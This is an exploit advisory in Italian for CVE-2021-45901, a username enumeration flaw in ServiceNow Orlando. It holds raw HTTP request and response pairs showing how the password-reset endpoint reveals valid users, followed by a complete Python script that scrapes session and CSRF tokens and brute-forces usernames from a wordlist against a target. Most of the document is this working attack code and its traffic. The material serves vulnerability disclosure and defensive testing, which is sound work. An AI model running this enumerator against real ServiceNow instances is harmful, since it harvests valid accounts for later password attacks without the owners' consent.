
Exploit automatizzato di enumerazione degli username per ServiceNow (CVE-2021-45901) utilizzando il rilevamento delle discrepanze nelle risposte HTTP tramite il modulo di reimpostazione della password.

enumSNOWUsers.py - Enumeratore utenti SNOW
Vulnerabilità di Enumerazione degli Username trovata nell'applicazione ServiceNow
Pubblicato: Versione: 1.0
Vendor: ServiceNow
Prodotto: ServiceNow (https://www.servicenow.com/)
Versione interessata: Orlando (glide-orlando-12-11-2019__patch5-06-17-2020)
ServiceNow è un'azienda software americana con sede a Santa Clara, California, che sviluppa una piattaforma di cloud computing per aiutare le aziende a gestire flussi di lavoro digitali per le operazioni aziendali.
Enumerazione degli Username (Non autenticato)
CVE: CVE-2021-45901
CWE: CWE-200: Esposizione di informazioni sensibili a un attore non autorizzato
La vulnerabilità scoperta in ServiceNow (Orlando) consente di enumerare con successo gli username utilizzando una wordlist. Utilizzando una sessione non autenticata e navigando al modulo di reset della password, è possibile dedurre un username valido. Ciò si ottiene esaminando i dati della risposta HTTP POST inizialmente generati dal modulo web di reset della password. Questa risposta differisce a seconda dell'esistenza dell'username.
NOTA: Per automatizzare questo processo sono necessari un cookie di sessione valido (JSESSIONID), un token CSRF (pwd_csrf_token) e un X-UserToken (X-UserToken). Tutti questi oggetti sono recuperabili dal codice lato client.
CWE-203: Discrepanza osservabile
Quanto segue illustra le discrepanze osservabili nei dati della risposta HTTP POST, utilizzate per dedurre un username valido rispetto a uno non valido.
Request
POST /$pwd_reset.do?sysparm_url=ss_default HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded; charset=UTF-8
X-UserToken: <UserToken>
Content-Length: 421
Origin: https://<IP>/
Connection: keep-alive
Cookie: glide_user_route=glide.da<redacted>; JSESSIONID=<redacted>;__CJ_g_startTime='<time>'
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sysparm_processor=PwdAjaxVerifyIdentity&sysparm_scope=global&sysparm_want_session_messages=true&sysparm_name=verifyIdentity&sysparm_process_id=<redacted>&sysparm_processor_id_0=<redacted>&sysparm_user_id_0=admin&sysparm_identification_number=1&sysparm_pwd_csrf_token=<redacted>&ni.nolog.x_referer=ignore&x_referer=%24pwd_reset.do%3Fsysparm_url%3Dss_default
Response (Valid Username)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: f7ca428075d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1227
X-TRANSACTION-TIME: 0:00:01.227
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 05:59:41 GMT
Server: <redacted>
<?xml version="1.0" encoding="UTF-8"?>
<xml answer="200" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
<security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>
Response (Invalid Username)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: 0b83260c75d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1076
X-TRANSACTION-TIME: 0:00:01.076
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 06:10:41 GMT
Server: <redacted>
<?xml version="1.0" encoding="UTF-8"?>
<xml answer="500" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
<security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>
Aggiornare a "Rome"
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# User enumeration script SNOW
# Requires valid
1. JSESSION (anonymous)
2. X-UserToken
3. CSRF Token
import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def banner():
print ("[+]********************************************************************************[+]")
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| Decription: SNOW Username Enumerator |")
print ("| Usage : "+sys.argv[0]+" |")
print ("| Prequisite: \'users.txt\' needs to contain list of users |")
print ("[+]********************************************************************************[+]")
def main():
os.system('clear')
banner()
proxies = {
"http":"http://127.0.0.1:8080/",
"https":"http://127.0.0.1:8080/"
}
url = "http://<redacted>/"
try:
# s = requests.Session()
# s.verify = False
r = requests.get(url, timeout=10, verify=False, proxies=proxies)
JSESSIONID = r.cookies["JSESSIONID"]
glide_user_route = r.cookies["glide_user_route"]
startTime = (str(time.time_ns()))
# print (startTime[:-6])
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
with open ("users.txt", "r") as f:
usernames = f.readlines()
print (f"[+] Brute forcing ....")
for users in usernames:
url = "http://<redacted>/$pwd_reset.do?sysparm_url=ss_default"
headers1 = {
"Host": "<redacted>",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Cookie": "glide_user_route="+glide_user_route+"; JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime[:-6]+"\'"
}
try:
# s = requests.Session()
# s.verify = False
r = requests.get(url, headers=headers1, timeout=20, verify=False, proxies=proxies)
obj1 = re.findall(r"pwd_csrf_token", r.text)
obj2 = re.findall(r"fireAll\(\"ck_updated\"", r.text)
tokenIndex = (r.text.index(obj1[0]))
startTime2 = (str(time.time_ns()))
# userTokenIndex = (r.text.index(obj2[0]))
# userToken = (r.text[userTokenIndex+23 : userTokenIndex+95])
token = (r.text[tokenIndex+45:tokenIndex+73])
url = "http://<redacted>/xmlhttp.do"
headers2 = {
"Host": "<redacted>",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://<redacted>/$pwd_reset.do?sysparm_url=ss default",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Content-Length": "786",
"Origin": "http://<redacted>/",
"Connection": "keep-alive",
# "X-UserToken":""+userToken+"",
"Cookie": "glide_user_route="+glide_user_route+";JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime2[:-6]+"\'"
}
data = {
"sysparm_processor": "PwdAjaxVerifyIdentity",
"sysparm_scope": "global",
"sysparm_want_session_messages": "true",
"sysparm_name":"verifyIdentity",
"sysparm_process_id":"c6b0c20667100200a5a0f3b457415ad5",
"sysparm_processor_id_0":"fb9b36b3bf220100710071a7bf07390b",
"sysparm_user_id_0":""+users.strip()+"",
"sysparm_identification_number":"1",
"sysparam_pwd_csrf_token":""+token+"",
"ni.nolog.x_referer":"ignore",
"x_referer":"$pwd_reset.do?sysparm_url=ss_default"
}
payload_str = urllib.parse.urlencode(data, safe=":+")
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
try:
# s = requests.Session()
# s.verify = False
time.sleep(2)
r = requests.post(url, headers=headers2, data=payload_str, timeout=20, verify=False, proxies=proxies)
if "500" in r.text:
print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
elif "200" in r.text:
print (Fore.GREEN + f"[+] Valid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.GREEN + f"[+] Valid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
else:
print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
except KeyboardInterrupt:
sys.exit()
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
except Exception as e:
print (Fore.RED + f"Unable to connect to host" + Style.RESET_ALL)
if __name__ == "__main__":
main ()
Victor Hanna di Exploit Security